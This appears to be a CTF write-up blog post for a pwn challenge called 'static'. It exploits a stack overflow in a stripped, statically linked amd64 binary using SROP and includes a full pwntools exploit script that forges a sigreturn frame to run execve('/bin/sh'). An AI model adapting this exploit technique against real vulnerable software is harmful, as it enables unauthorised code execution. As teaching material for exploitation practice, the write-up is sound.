algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

writeup: static — no libc, no leak, just SROP

2026-05-263 min readpwn rop ctf

static is deceptively bare: one read into a stack buffer, no format strings, no heap, and — because it's statically linked and stripped — no PLT to call and no libc to leak. checksec confirms there's not much to work with. This is exactly the shape SROP was made for.

target./static
arch
amd64-64-little
linkage
static, stripped
  • RELROpartial
  • canaryoff
  • NXon
  • PIEoff

recon — what little there is#

the bugtxt
1
2
3
4
5
6
7
.text:401abc   lea  rax, [rbp-0x40]
.text:401ac0   mov  edx, 0x200          ; read up to 0x200 bytes
.text:401ac5   mov  rsi, rax
.text:401ac8   xor  edi, edi            ; fd 0
.text:401aca   call read
.text:401acf   leave
.text:401ad0   ret                      ; <- overflow returns here, 0x40 buffer

A 0x200-byte read into a 0x40 buffer — straightforward stack overflow, no canary in the way. But NX is on (no shellcode), and there's no libc to ret2. Static binaries are, however, full of raw syscall instructions:

gadgets that exist in any static binarytxt
1
2
3
4
5
6
$ ROPgadget --binary static | grep -E 'syscall|pop rax'
0x000000000040123f : syscall ; ret
0x00000000004017f4 : pop rax ; ret
0x0000000000401a9b : pop rdi ; ret
0x0000000000401a9d : pop rsi ; ret
0x0000000000401a9f : pop rdx ; ret

syscall; ret, a way to set rax, and a writable address (the .bss, fixed because no PIE) — that's the entire toolkit SROP needs.

the plan#

  1. Write /bin/sh somewhere known. read(0, bss, 8) then send the 8 bytes.
  2. Forge a sigreturn frame for execve("/bin/sh", NULL, NULL) and trigger rt_sigreturn (syscall 15).
exploit.pypython
from pwn import *
elf = context.binary = ELF("./static")
syscall  = 0x40123f
pop_rax  = 0x4017f4
bss      = elf.bss(0x100)

# stage 1: read "/bin/sh\0" into .bss
rop  = flat(pop_rax, 0, pop_rdi := 0x401a9b, 0, 0x401a9d, bss, 0x401a9f, 8, syscall)
# stage 2: rt_sigreturn -> execve frame
frame = SigreturnFrame()
frame.rax, frame.rdi, frame.rsi, frame.rdx, frame.rip = constants.SYS_execve, bss, 0, 0, syscall
rop += flat(pop_rax, 15, syscall, bytes(frame))

io = process(elf.path)
io.sendline(b"A"*0x48 + rop)        # 0x40 buffer + saved rbp
io.send(b"/bin/sh\x00")             # consumed by the stage-1 read
io.interactive()
shell

Stage 1 plants the string, stage 2's forged frame lands execve("/bin/sh", 0, 0) straight out of rt_sigreturn:

txt
1
2
3
4
$ ./exploit.py
[*] Switching to interactive mode
$ cat flag
segfault{static_but_not_safe}

what this challenge teaches#

  • Static + stripped ≠ hard. It removes libc and the PLT, but it adds a huge text section dense with syscall instructions and pops. The constraint pushes you toward syscalls, and SROP is the densest way to set them up.
  • No leak required. No-PIE pins the .bss and the gadgets, so every address is static — the entire exploit is offsets, no ASLR defeat needed.
  • SROP scales down beautifully. Even if I'd lacked pop rdi/rsi/rdx, the sigreturn frame sets every register at once — I only truly need syscall and a way to reach rax=15.

When checksec shows "static, stripped" and the gadget hunt comes up thin, don't reach for libc — reach for the kernel. A syscall gadget plus a forged frame is a complete exploitation primitive, and static binaries hand you the gadget for free.